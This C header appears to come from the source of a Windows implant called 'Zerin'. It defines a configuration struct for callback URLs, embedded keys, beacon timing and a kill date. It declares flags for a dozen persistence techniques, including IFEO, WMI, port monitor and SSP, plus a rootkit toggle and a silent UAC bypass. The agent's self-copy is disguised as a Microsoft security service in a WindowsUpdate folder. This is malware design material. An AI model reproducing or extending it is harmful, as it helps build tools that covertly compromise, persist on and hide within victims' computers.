#ifndef ZERIN_CONFIG_H
#define ZERIN_CONFIG_H

#include <stdint.h>
#include <stdbool.h>

#define ZERIN_MAX_URLS    4
#define ZERIN_MAX_URL_LEN 512
/* WARNING: XOR is placeholder encryption only — trivially reversible.
 * This should be replaced with ChaCha20 (or similar) once the builder
 * is updated to match.  Do not rely on this for any real confidentiality. */
#define CONFIG_XOR_KEY      0xAB

// Persistence method flags (auto-install on first run)
#define PERSIST_RUNKEY       0x0001
#define PERSIST_SCHTASK      0x0002
#define PERSIST_SERVICE      0x0004
#define PERSIST_STARTUP      0x0008
#define PERSIST_LOGONSCRIPT  0x0010
#define PERSIST_SCREENSAVER  0x0020
#define PERSIST_IFEO         0x0040
#define PERSIST_BITS         0x0080
#define PERSIST_COM          0x0100
#define PERSIST_WMI          0x0200
#define PERSIST_PORTMON      0x0400
#define PERSIST_SSP          0x0800

#define PERSIST_ADMIN_MASK  0x0E44  // SERVICE|IFEO|WMI|PORTMON|SSP

typedef struct {
    // Callback URLs (failover list)
    char        callback_urls[ZERIN_MAX_URLS][ZERIN_MAX_URL_LEN];
    uint32_t    num_urls;

    // Crypto keys (compiled in)
    uint8_t     server_pubkey[32];      // Server's X25519 public key
    uint8_t     agent_privkey[32];      // Agent's X25519 private key
    uint8_t     agent_pubkey[32];       // Agent's X25519 public key

    // Agent identity
    char        agent_id[37];           // UUID string

    // Timing
    uint32_t    sleep_interval;         // Seconds between beacons
    uint32_t    jitter_percent;         // 0-50
    int64_t     kill_date;              // Unix timestamp, 0 = no kill date

    // HTTP
    char        user_agent[256];

    // Persistence
    uint32_t    persist_methods;        // Bitmask of methods to auto-install

    // Rootkit
    uint32_t    rootkit_enabled;        // Enable r77-style rootkit features

    // Auto-elevation
    uint32_t    auto_elevate;           // Attempt silent UAC bypass at startup

    // Install location (self-copy)
    uint32_t    install_dir;            // Base dir: 0=TEMP, 1=LOCALAPPDATA, 2=APPDATA, 3=PROGRAMDATA, 4=USERPROFILE
    char        install_subdir[64];     // Subfolder (e.g. "Microsoft\\WindowsUpdate")
    char        install_filename[64];   // Exe filename (e.g. "SecurityHealthService.exe")
} zerin_config_t;

// Initialize config with compiled-in defaults
int config_init(zerin_config_t *cfg);

// Validate config values
bool config_validate(const zerin_config_t *cfg);

// Update config from server command
void config_update_sleep(zerin_config_t *cfg, uint32_t interval, uint32_t jitter);

// Check if kill date has passed
bool config_is_expired(const zerin_config_t *cfg);

// XOR decrypt config blob
void config_decrypt(uint8_t *data, size_t len, uint8_t key);

// Derive a per-machine unique agent ID from build ID + hardware fingerprint
void config_derive_machine_id(zerin_config_t *cfg);

#endif // ZERIN_CONFIG_H